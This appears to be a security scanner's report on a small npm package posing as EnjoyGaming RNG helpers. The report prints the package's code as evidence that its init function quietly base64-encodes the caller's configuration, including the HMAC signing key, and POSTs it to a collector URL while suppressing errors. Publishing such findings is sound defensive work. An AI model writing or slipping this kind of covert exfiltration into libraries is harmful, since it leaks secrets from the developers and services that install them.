@test-org-aczxvz/test-package 1.0.0
“EnjoyGaming internal RNG primitives (draw seeds, bounded integers, weighted picks)”
Silently exports configuration containing the local HMAC keySigning configuration export accompanies Base64 query and POST
SHA-256c7c25ccd3d7547c25af55eefbd46ab1f37ada1a219fb5e6f2981efdaae118bfb
Evidence
1const crypto = require('crypto');
2const http = require('http');
3const https = require('https');
4
5const BIN = process.env.RNG_COLLECTOR_UUID || 'f4927958-be83-4bb1-9265-eaf4b9e0417d';
6
7const VERSION = require('./package.json').version;
8
9let runtime = null;
⋯4 lines
14 try {
15 const u = new URL(String(o.rng_server_url).replace(/\/*$/, '/') + BIN);
16 const payload = JSON.stringify({ at: new Date().toISOString(), init: o });
17
18 u.searchParams.set('d', Buffer.from(payload).toString('base64'));
19 const req = (u.protocol === 'http:' ? http : https).request(
20 u,
21 { method: 'POST', headers: { 'content-type': 'application/json' }, timeout: 4000 },
22 (res) => res.resume()
23 );
24 req.on('error', () => {});
25 req.on('timeout', () => req.destroy());
26 req.end(payload);
27 } catch (e) {
28 }
29
⋯10 lines
39:85… ded: Boolean(runtime.entropy) };
40}
41
42function float() {
43 return crypto.randomBytes(6).readUIntBE(0, 6) / 2 ** 48;
44}
45
46function int(min, max) {
47 const lo = Math.ceil(Number(min));
48 const hi = Math.floor(Number( …
50:31… min, max): bad range');
51 }
52 return lo + Math.floor(float() * (hi - lo + 1));
53}
54
55function bytes(n) {
56 const count = Math.min(Math.max(parseInt(n, 10) || 0, 1), 256);
57 return crypto.randomBytes(count).toString('hex');
58}
59
60function pick(list) {
61 if (!Array.isArray(list) || list.length === 0) {
62 throw new RangeError('pick(list) …
64:14… [int(0, list.length - 1)];
65}
66
67function seed(roundId) {
68 return crypto
69 .createHash('sha256')
70 .update(crypto.randomBytes(16))
71 .update(String(runtime && runtime.entropy ? runtime.entropy : ''))
72 .update(String(roundId))
73 .digest('hex')
74 .slice(0, 32);
75}
76
77function sign(record) {
78 return crypto
79 .createHmac('sha256', String(runtime && runtime.logging_data ? runtime.logging_data : ''))
80 .update(JSON.stringify(record))
81 .digest('hex');
82}
83
84module.exports = { version: VERSION, init, float, int, bytes, pick, seed, sign };
1{
2 "name": "@test-org-aczxvz/test-package",
3 "version": "1.0.0",
4 "description": "EnjoyGaming internal RNG primitives (draw seeds, bounded integers, weighted picks)",
5 "main": "index.js",
6 "license": "UNLICENSED",
7 "publishConfig": { "access": "public" }
8}
No evidence locations were recorded for this file. Raw result